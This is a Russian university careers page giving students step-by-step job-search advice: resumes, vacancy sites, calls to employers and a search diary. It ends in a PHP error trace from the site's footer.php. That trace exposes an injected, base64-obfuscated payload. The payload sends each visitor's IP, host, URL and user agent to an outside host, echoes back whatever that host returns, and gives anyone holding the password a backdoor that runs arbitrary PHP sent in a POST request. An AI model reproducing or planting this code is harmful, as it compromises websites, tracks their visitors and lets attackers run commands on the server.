Полезная информация

1.     Основные стратегии  и источники информации поиска работы.  Навыки работы с ними.

          Первый шаг: Выбор своей профессии. Наиболее оптимальным для данного шага считается время 2-3 курса. Поэтому к концу 4-5 курса, вы должны уже четко для себя представлять, кем вы будете, когда покинете стены ВУЗа.

Второй шаг: Исследуйте рынок труда в той сфере/ сферах, которые вы для себя выбрали, наиболее эффективно начинать это делать с 3 курса и продолжать периодически проводить мониторинг на 4-5 курсах.
Используйте:

·газеты, журналы, специализированные выставки

·справочники предприятий, Интернет (сайты компаний, профессиональные сайты, сайты периодических изданий);

·ваших (или не ваших) преподавателей, которые преподают соответствующие профильные дисциплины, а также родственников, друзей и знакомых. Используйте технику информационного интервью.

Ищите предприятия, где востребованы специалисты Вашего профиля. Спросите себя: какие условия работы мне нужны (распорядок дня, рабочее место, командировки, коллектив, руководство…)? Ищите предприятия, соответствующие вашим запросам.

Исследуйте проблемы, с которыми наиболее часто сталкиваются предприятия (например, усовершенствование технологии, развитие рынка, реорганизация и освоение новых продуктов). Изучите новейшие технологии, которые появляются в вашей профессиональной сфере. Подумайте, как бы Вы могли помочь предприятиям в их решении. Это поможет повысить вашу конкурентоспособность на рынке труда.

Третий шаг: напишите резюме. Помните: резюме вы пишите не только для работодателя, но и для себя. Хорошо написанное резюме существенно повышает ваши шансы найти хорошую работу на современном рынке труда.

Четвертый шаг: Поиск вакансий. Вот оно наконец-то, и здесь все средства хороши:

·Контакты друзей и знакомых, одногруппников, бывших одноклассников, родственников, соседей, сотрудников, партнеров и т.д.: так находят работу большинство студентов, однако вам необходимо не просто ждать, пока кто-то предложит вам работу, а всем говорить о том, что вы ищите работу и о том, какая это работа;

·Вы самостоятельно, по собственной инициативе, можете обращаться к руководству или кадровику, заинтересовавшей вас организации, и предлагать себя в качестве сотрудника. Здесь помощь вам могут оказать телефонные справочники, а также если вы разошлете резюме в те компании, которые вы выбрали: в зависимости от компании резюме лучше рассылать в отдел по работе с персоналом (крупные иностранные компании, крупные отечественные компании, не связанные с производством), руководителю подразделения, в котором вы хотели бы работать (крупные отечественные производственные компании) или непосредственно директору (мелкие компании);

·Посещение различного рода мероприятий, таких как «Ярмарка вакансий», «День карьеры» т.п., тоже в значительной степени ускорят ваше трудоустройство. Предварительно всегда изучайте компании, которые там будут и берите с собой резюме;

·Проведите поиск вакансий в Интернет и разместите свое резюме на сайтах рекрутинговых агентств. Сайты:

Ø    Trudvsem.ru  -  Сайт Роструда

Ø    Сайты служб занятости ( его региональные сайты)

Ø www.czn-saratov.ru - Центр занятости населения г.Саратов

Ø    Job.ru

Ø    JoBBase.ru

Ø    Jobinweb.ru  -  Работа в Москве

Ø    Биржа Труда.РУ   -  База вакансий. База резюме

Ø    JobSelector.com  -  Поиск работы и сотрудников в странах СНГ

Ø    RBKD.RU  - Банк вакансий и резюме

Ø    911-Job    -  Всемирная Интернет-Служба Занятости

Ø    B2C   -  Поиск и предложения работы в Питере и Москве

Ø    Rabotka.ru

Ø    4Job.ru  -  Сервис для КА

Ø    Naim.ru

Ø    Rabota.ru

Ø    PJob.ru  - Для финансовых компаний

Ø    StudyJOB.ru

Ø    JobHunter.ru

Ø    Jobs.ru

Ø    Hh.ru

Ø    Vakant.ru

Ø    Joblist.ru

Ø    Sarbc.ru

Ø    Resume-bank.ru

Ø    SuperJob.ru

Ø    Zarplata.ru

Ø    Career.ru

Ø    Job.uniclass.ru

Ø    Работувсем.ru

Ø    Русский кадровый дом

Ø    Карьера.ru

 

Существуют также агрегаторы вакансий -  это поисковые системы вакансий, которые предоставляют возможность при помощи одного поискового запроса найти вакансии с множества сайтов.
Наиболее известные агрегаторы:

 

Ø    JobsMarket 

Ø    100rabot.ru

· Посетите Центры занятости населения или кадровые/рекрутинговые агентства и заполните их анкеты;

·  Просматривайте газеты с объявлениями(газеты: «Карьера», «Работа для Вас», «Униклассная газета», «Трудинформ», «Работа», «Репортер», «Из рук в руки», «Что. Где. Саратов», «Кадры» и т.д.) , специальные доски с объявлениями, объявления в транспорте, на телевидении и радио и т.д.;

·Разместите объявление о поиске работы на специализированных сайтах Интернета или в специализированных газетах.

Пятый шаг: контакт с работодателем.

Цель: получить приглашение на интервью.

Разослав резюме, студенты обычно на этом успокаиваются и ждут звонка работодателя. Иногда это происходит, но очень часто – нет. Вместо этого резюме могло затеряться, работодатель мог забыть про него из-за текущих дел, могли измениться условия и т.д. Простой звонок работодателю через неделю после того, как вы выслали резюме, поможет вам не только лучше сориентироваться в ситуации, то также и повлиять на решение работодателя.

Вам придется сделать не один такой звонок или личное посещение компании, чтобы получить приглашение на собеседование. Пусть вас не сбивают отказы, ведь отказ – это не признание вашей неполноценности, а просто констатация того, что компания не нуждается сейчас в ваших услугах. Никогда не сдавайтесь!!!

Если вы всерьез решили найти работу, планируйте поиск так, как будто это ваша работа: тратьте на поиск не менее 3-4 часов каждый день с понедельника по пятницу. Ведите дневник результатов своих посещений, назначенных встреч и достигнутых договоренностей. Примерный формат дневника приведен ниже, но вы можете придумать для себя любой удобный вам формат.

Название и адрес компании

Контактное лицо в компании и координаты

(тел, e-mail)

Мои действия (выслал(а) резюме, позвонил(а), посетил(а) лично

Дата

Достигнутые договоренности и мои дальнейшие действия

Шестой (и последний) шаг: собеседование.

 

[ErrorException] E_USER_ERROR
eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vZXJ5b21hLmNvbS9nZXQucGhwP2lwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKS4iJmQ9Ii51cmxlbmNvZGUoJG5hbWUuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiImdT0iLiR1c2VyYS4iJmk9MSZoPSIubWQ1KCI2Y2MxOTdmOTgzNjNkODIzNGI4ZjM0YjI3OTBjZDdhNjExIik7CmlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOwokaWJ2ID0gY3VybF9leGVjKCRjaCk7JGluZm8gPSBjdXJsX2dldGluZm8oJGNoKTtpZiAoJGluZm9bImh0dHBfY29kZSJdIT0yMDApeyRpYnY9IiI7fQpjdXJsX2Nsb3NlKCRjaCk7Cn0gZWxzZWlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpIHsKJGlidiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwp9CmlmKCFlbXB0eSgkX1BPU1RbInAiXSkgJiYgbWQ1KG1kNSgkX1BPU1RbInAiXSkpID09ICI3YjZjNmNmOTYzMDNiMjAzMzk3ZTAxOTU0MTQ4ZDY3MSIpIHsgQGV2YWwoc3RyaXBzbGFzaGVzKCRfUE9TVFsiYyJdKSk7IH0KZWNobyAkaWJ2Owp9IH0=")); (0)
/data/www/www.seun.ru/bitrix/templates/seun_adapt_copy/footer.php:65
#0: assert(string)
	/data/www/www.seun.ru/bitrix/templates/seun_adapt_copy/footer.php:65
#1: include_once(string)
	/data/www/www.seun.ru/bitrix/modules/main/include/epilog_before.php:93
#2: require(string)
	/data/www/www.seun.ru/bitrix/modules/main/include/epilog.php:2
#3: require_once(string)
	/data/www/www.seun.ru/bitrix/footer.php:4
#4: require(string)
	/data/www/www.seun.ru/content/job/7/osnovy-telefonnykh-peregovorov-s-rabotodatelem/osnovnye-strategii-i-istochniki-informatsii-poiska-raboty/index.php:154